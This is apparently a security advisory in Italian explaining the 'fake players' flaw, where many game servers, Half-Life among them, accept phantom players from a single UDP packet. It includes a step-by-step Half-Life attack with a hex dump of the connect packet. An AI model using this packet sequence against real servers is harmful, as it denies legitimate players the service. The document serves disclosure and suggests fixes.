####################################################################### Titolo: Un'introduzione al Fake players bug 0.1.1 Autore: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### - Introduzione - Quali giochi sono vulnerabili - Quali giochi NON sono vulnerabili - Cause - Effetti - Svantaggi per l'attacker - Esempio pratico - Possibili soluzioni - Conclusioni ####################################################################### ============ Introduzione ============ Prima di tutto questo bug e' specifico per i videogiochi e quasi tutti i giochi con supporto multiplayer attualmente esistenti sono vulnerabili; non c'e' molto da dire a riguardo comunque se non si e' dei giocatori probabilmente questo documente risultera' abbastanza interessante (o almeno spero eh eh eh). Ogni server di gioco online (sia su Internet che su LAN) permette ai giocatori di entrare ed iniziare a giocare in modo da aumentare il divertimento di chiunque stia giocando sullo stesso server. Questo e' il motivo per cui esiste il multiplayer 8-) Proprio i giocatori sono il maggior problema dei giochi in quanto ogni server puo' permettere ad un numero limitato di giocatori di entrare nella partita che esso ospita ed i controlli fatti dal server sono troppo pochi (e a volte sono persino inesistenti). Cio' significa che un attacker puo' riempire un server di gioco con un numero a sua scelta di giocatori inesistenti (spesso un giocatore viene "emulato" da non piu' di uno o due paccheti di dati inviati dall'attacker) ed il server, dopo aver raggiunto il numero massimo di giocatori consentiti, non accettera' piu' nessuno. L'effetto e' un Denial of Service (DoS) dove i giocatori reali non possono usare il servizio offerto dal server semplicemente perche' non c'e' piu' posto. ####################################################################### ============================= Quali giochi sono vulnerabili ============================= Da quanto ne so' ed ho visto nei giochi che ho testato... quasi tutti i giochi con il supporto multiplayer sono vulnerabili. Con supporto multiplayer intendo i seguenti requisiti: - la presenza di un server che ospita la partita e di clients che vogliono partecipare alla partita in corso ospitata dal server. - un protocollo di comunicazione specifico per il gioco. Il protocollo e' usato per inviare dati ed informazioni per permettere ai giocatori di entrare, permetterere lo scambio di informazioni e naturalmente anche per inviare e ricevere i dati riguardo la situazione della partita (movimenti dei giocatori, azioni, spari, nuovi giocatori e cosi' via). Quindi abbiamo giochi come Half-Life, Quake 3 e UnrealTournament che sono vulnerabili al Fake players bug. ####################################################################### ================================= Quali giochi NON sono vulnerabili ================================= ...praticamente tutti i giochi che usano un server centralizzato ove e' permesso un solo ed unico giocatore con le stesse informazioni e che permetta l'accesso tramite una buona autenticazione. Un esempio sono i giochi MMORPG (massive multiplayer online role-playing games) dove esiste un intero mondo ove non ci sono limiti di giocatori (almeno ufficialmente, in quanto lo scopo di tali servers e' proprio quello di raccogliere il piu' alto numero di persone: piu' persone = piu' guadagni ih ih ih) ed esiste un processo di autenticazione e la presenza di un unico giocatore identificato univocamente (ogni giocatore e' solitamente autorizzato via username e password o dalla cd-key del suo gioco). ####################################################################### ===== Cause ===== Quasi tutti i videogiochi usano il protocollo UDP per comunicare proprio perche' l'uso di pacchetti e' piu' semplice e veloce da gestire rispetto alle connessioni TCP. Comunque l'uso dell'UDP non e' la vera causa del fake players bug ma e' una cosa positiva per chi lancia l'attacco proprio perche': - non ha bisogno di molte risorse sulla sua macchina. - l'exploit puo' essere scritto facilmente senza troppo impegno. - in alcuni casi e' persino possibile usare pacchetti spoofati (lo spoofing puo' essere facilmente evitato inserendo challenge keys basate su IP:porta sorgente o far si' che il client debba rispondere o replicare ai dati inviati dal server). Comunque la causa primaria e' proprio l'assenza di controlli, infatti qualche volta basta persino un singolo pacchetto UDP per creare un giocatore falso nel server attaccato. ####################################################################### ======= Effetti ======= Gli effetti conosciuti di questo tipo di attacco sono: 1) i giocatori reali non possono partecipare al match ospitato dal server in quanto quest'ultimo e' pieno. 2) i giochi che usano un multiplayer in stile "lobby" (ingresso) subiscono un DoS peggiore in quanto il match non potra' mai avere inizio. Praticamente i giocatori che entrano nel server si ritrovano in una specie di ingresso o stanza ove possono parlare e per iniziare il gioco tutti devono dichiararsi pronti (tramite un apposito bottone). Il problema viene a crearsi quando il server e' sotto l'attacco dei fake players perche' tali "giocatori" non si dichiareranno pronti ed anche se l'amministratore del server li caccera', loro rientreranno senza problemi (solitamente questo tipo di giochi non permette il banning di un IP specifico). 3) altri effetti specifici di alcuni giochi e quindi non elencabili qui. ####################################################################### ======================== Svantaggi per l'attacker ======================== Naturalmente anche l'attacker avra' problemi usando questo tipo di attacco. Il problema primario e' la banda in ricezione (download), infatti ogni volta che un giocatore e' accettato, il server (spesso) inizia a trasmettere una gran quantita' di dati al client. Ma cio' non toglie che l'attacco possa essere lanciato anche da connessioni lente come modems in dialup. I pacchetti che l'attacker riceve sono generalmente pacchetti keep-alive (ossia per sapere se il client e' ancora online o no, proprio come il ping) ed anche dati di gioco. ####################################################################### =============== Esempio pratico =============== Il seguente e' uno dei primi fake players bug che ho trovato (e forse anche il primo mai trovato in quanto non ho mai trovato altri riferimenti a questo tipo di bug, comunque sia cio' non e' importante). Il fake players bug in questione e' quello riguardante i servers di Half-Life non-WON (ossia i servers in LAN ed i servers su Internet che non fanno uso dell'autenticazione WON, chi gioca o conosce il gioco sa' di cosa parlo): Informazioni da sapere prima di iniziare: 1) Il server usa una challenge key (un numero a 32bit) che e' usato per identificare la partita corrente (quindi, nuovo partita = nuova key). 2) Il server non accetta i giocatori/pacchetti provenienti dalla stessa porta (dello stesso IP naturalmente) Cio' significa che ogni giocatore dallo stesso indirizzo IP deve usare una porta sorgente differente o non verra' accettato (questa e' una nota un po' inutile perche' quasi tutti i videogiochi in multiplayer usano tale metodo). 3) useremo il protocollo UDP e la porta di destinazione (server) e' quella di default, ossia la 27015 Ed ora si inizia a "giocare": 1) Abbiamo bisogno di alcune informazioni utili per lanciare l'attacco, e piu' precisamente: - il numero di protocollo richiesto - se dobbiamo inviare una password o no - se il server e' gia' pieno Da: client A: server Dati: ÿÿÿÿinfostring | | | richiesta | 0xffffffff significa che stiamo utilizzando il canale per le informazioni ed il login. Half-Life ed altri giochi basati sul motore di Quake usano 2 canali "virtuali": informazioni e dati 2) Il server ci invia le informazioni che abbiamo richiesto: Da: server A: client Dati (in esadecimale): ff ff ff ff 69 6e ÿÿÿÿin 66 6f 73 74 72 69 6e 67 72 65 73 70 6f 6e 73 65 fostringresponse 00 5c 70 72 6f 74 6f 63 6f 6c 5c 34 36 5c 61 64 .\protocol\46\ad 64 72 65 73 73 5c 31 39 32 2e 31 36 38 2e 30 2e dress\192.168.0. 33 3a 32 37 30 31 35 5c 70 6c 61 79 65 72 73 5c 3:27015\players\ 30 5c 70 72 6f 78 79 74 61 72 67 65 74 5c 30 5c 0\proxytarget\0\ 6c 61 6e 5c 31 5c 6d 61 78 5c 36 5c 62 6f 74 73 lan\1\max\6\bots 5c 30 5c 67 61 6d 65 64 69 72 5c 76 61 6c 76 65 \0\gamedir\valve 5c 64 65 73 63 72 69 70 74 69 6f 6e 5c 48 61 6c \description\Hal 66 2d 4c 69 66 65 5c 68 6f 73 74 6e 61 6d 65 5c f-Life\hostname\ 54 65 73 74 5c 6d 61 70 5c 66 72 65 6e 7a 79 5c Test\map\frenzy\ 74 79 70 65 5c 64 5c 70 61 73 73 77 6f 72 64 5c type\d\password\ 30 5c 6f 73 5c 6c 5c 73 65 63 75 72 65 5c 30 00 0\os\l\secure\0. Se si vuole conoscere il significato di tutti questi parametri basta cercare su Internet (comunque sono tutti molto semplici da capire). Cosa ci interessa e': \protocol\46 Il protocollo da usare e' 46 (e' solo un numero, non un vero cambio di protocollo, invece su Quake 3 le cose cambiano ma al momento non ci deve interessare). \password\0 bene, il server non richiede password. Se il server richiede una password, noi dobbiamo inviarla in chiaro quando lanciamo l'attacco (vedi dopo). \players\0 ottimo, il server non e' pieno quindi possiamo lanciare l'attacco senza problemi. Se il server e' pieno (\players\ e \max\ uguali) dovremo rifare la richiesta ogni volta (ad esempio ogni 5 secondi) in modo da riempire il nuovo spazio vuoto che si viene a creare se un giocatore esce o se la partita ricomincia. 3) Ora dobbiamo richiedere la challenge key per la partita corrente: Da: client A: server Dati: ÿÿÿÿgetchallenge 4) Il server ci inviera' proprio le informazioni richieste: Da: server A: client Dati: ÿÿÿÿA00000000 916706044 1 La challenge key e' 916706044 5) Ora lanciamo il vero attacco. Un pacchetto "connect" (il comando usato per entrare) e' come il seguente: Da: client A: server Dati (in esadecimale): ff ff ff ff 63 6f ÿÿÿÿco 6e 6e 65 63 74 20 34 36 20 20 31 35 31 31 32 35 nnect 46 151125 33 36 36 31 20 22 5c 70 72 6f 74 5c 32 5c 75 6e 3661 "\prot\2\un 69 71 75 65 5c 2d 31 5c 72 61 77 5c 66 66 66 66 ique\-1\raw\ffff 66 37 62 64 65 66 37 33 39 34 32 31 30 30 30 30 f7bdef7394210000 30 38 34 32 31 30 38 63 36 33 31 30 22 20 22 5c 0842108c6310" "\ 6d 6f 64 65 6c 5c 67 6f 72 64 6f 6e 5c 74 6f 70 model\gordon\top 63 6f 6c 6f 72 5c 31 32 38 5c 62 6f 74 74 6f 6d color\128\bottom 63 6f 6c 6f 72 5c 31 32 38 5c 72 61 74 65 5c 39 color\128\rate\9 39 39 39 2e 30 30 30 30 30 30 5c 63 6c 5f 75 70 999.000000\cl_up 64 61 74 65 72 61 74 65 5c 32 30 5c 63 6c 5f 6c daterate\20\cl_l 77 5c 31 5c 63 6c 5f 6c 63 5c 31 5c 63 6c 5f 64 w\1\cl_lc\1\cl_d 6c 6d 61 78 5c 31 32 38 5c 68 75 64 5f 63 6c 61 lmax\128\hud_cla 73 73 61 75 74 6f 6b 69 6c 6c 5c 31 5c 6e 61 6d ssautokill\1\nam 65 5c 6d 79 6e 61 6d 65 22 0a e\myname". qui possiamo vedere: - connect il comando per partecipare alla partita - 46 il protocollo - raw 32 bytes (ossia 16 bytes visualizzati in formato esadecimale) usati per identificare la CD-KEY del client. L'attaco e' fatto verso servers che non usano l'autenticazione WON quindi non controllano la CD-KEY del client. Comunque ogni server accetta un massimo di 4 clients allo stesso tempo con la stessa CD-KEY quindi faremo uso di valori casuali 8-) - password anche se il parametro non e' nel dump usato per l'esempio, esso e' usato quando vogliamo partecipare ad un server protetto da password. Se la password e' ciao, aggiungeremo \password\ciao 6) Conferma dal server Da: server A: client Dati: ÿÿÿÿB 4294967295 1 "192.168.0.3:65182" | | | | | | | | | | | | | | il nostro IP:porta | | | | | | | il nostro numero di client nel server | | | | | questo e' il valore che abbiamo usato nel valore | | \unique\ del precedente pacchetto (-1 e' uguale a | | 4294967295, Half-Life fa' sempre un uso ambiguo dei vari | | int ed unsigned int). | | | il nostro giocatore e' stato accettato dal server | 0xfffffff: canale informazioni/login Il server ha appena accettato il nostro giocatore. 7) Se invece il server e' pieno, ci verra' inviato il seguente pacchetto: Da: server A: client Dati: ÿÿÿÿ9Server is full I giocatori falsi che vengono generati, in realta' sono solo dei giocatori "virtuali" che non verrano fatti comparire nel gioco (per esempio nell'arena o nella mappa). In tutti i giochi che ho visto solo uno fa' da eccezione ed infatti i nuovi giocatori (quelli falsi inseriti dall'attacker) vengono considerati giocatori REALI. Il gioco di cui parlo e' il primo Unreal di EpicGames. E' incredibilimente divertente vedere i nuovi giocatori falsi creati dall'attacker che appaiono proprio in testa a quelli apparsi precedentemente finendo quindi con l'ucciderli ah ah ah 8-) ####################################################################### =================== Possibili soluzioni =================== Le seguenti sono alcune idee ed idee parziali che possono "limitare" il problema: - far si che il server non aggiunga giocatori in modo troppo semplice (spesso basta un unico pacchetto!). - usare delle challenge keys basate sull'IP e la porta sorgente (come usato dal motore di Quake 3 per evitare l'utilizzo dello spoffing da parte dell'attacker). - usare timeouts piu' brevi e permettere agli amministratori dei server di poter bannare in modo piu' flessibile basandosi magari su determinati schemi. Per esempio: l'attacker aggiunge con successo un giocatore falso al server, dopodiche' tale "giocatore" va' in timeout dopo un certo numero di secondi o minuti e l'attacker dovra' rieseguire di nuovo l'attacco con le stesse operazioni. Penso che un banning automatico basato sul numero di timeouts collezionati dallo stesso IP potrebbe essere interessante ma tale metodo va' a colpire tutti i giocatori che sono dietro lo stesso IP dell'attacker via NAT, ossia quando piu' computer di una sottorete escono su Internet identificati dallo stesso IP (chiamato anche masquerading). - utilizzo di cd-keys univoche autenticabili tramite un server centralizzato. Al momento questa e' la migliore soluzione implementata attualmente sui giochi odierni. - l'uso del TCP per il login iniziale e' un po' piu' sicuro dell'UDP in quanto l'attacker deve usare un numero leggermente maggiore di risorse e si evita lo spoofing (gia' evitabile in altri modi). - altri...??? L'unica soluzione efficace che ho visto sugli attuali giochi e' l'uso di cd-key univoche controllate da un server centralizzato Questo metodo naturalmente non e' applicabile nelle partite multiplayer in LAN ove quindi sara' sempre possibile lanciare un fake players DoS, ma se non altro viene limitato il problema sui servers Internet. Una cd-key univoca puo' essere facilmente bannata se chi la usa e' l'autore di un attacco fake players proprio perche' lui HA BISOGNO della chiave per lanciare l'attacco verso i servers Internet che richiedono l'autorizzazione via server centrale, quindi senza chiave non ha alcun potere. I vantaggi di tale soluzione quindi sono: - limite dei fake players DoS. - limite (molto poco, quasi solamente teorico) della pirateria. Invece i svantaggi sono: - il server centralizzato usato per l'autenticazione puo' essere soggetto di attacchi DoS cosicche' se e' irraggiungibile non esiste piu' il problema dell'autorizzazione. - l'utilizzo di cd-keys univoche fa' si che' gli attackers ed i cheaters siano maggiormente "affamati" di chiavi. L'effetto quindi potrebbe essere l'utilizzo di programmi di brute forcing per ricavare tutte le chiavi valide (nelle situazioni in cui cio' e' possibile naturalmente) o l'aumento dei furti di cd-keys a danno dei normali utenti. - personalmente non mi piace molto l'idea di essere "loggato" o tracciato da un server. Inoltre esiste sempre l'ultimo metodo: security through obscurity, ossia l'utilizzo di algoritmi e protocolli chiusi difficili da comprendere e quindi da emulare. Questo metodo naturalmente NON offre una sicurezza reale ma ad alcuni giochi fa' comodo codificare i propri pacchetti cosicche' un attacker che vuole lanciare un fake players DoS deve prima spendere tempo reversando l'algoritmo usato per codificare i dati oppure trovare altri metodi alternativi. Fortunatamente (per l'attacker) spesso non c'e' neanche bisogno di reversare o conoscere il vero algoritmo o protocollo usato ma basta semplicemente replicare un pacchetto di login catturato tramite uno sniffer (proprio come mi e' successo con Tribes 1). ####################################################################### =========== Conclusioni =========== Gli sviluppatori di videogiochi dovrebbero prestare piu' attenzione e spendere piu' tempo quando scrivono il protocollo di rete dei loro giochi e dovrebbero fare piu' attenzione ai problemi comuni che si vengono a presentare in questi casi. Se avete idee o cose da aggiungere a questo documento, commenti o altri tipi di feedback, fatemi sapere! #######################################################################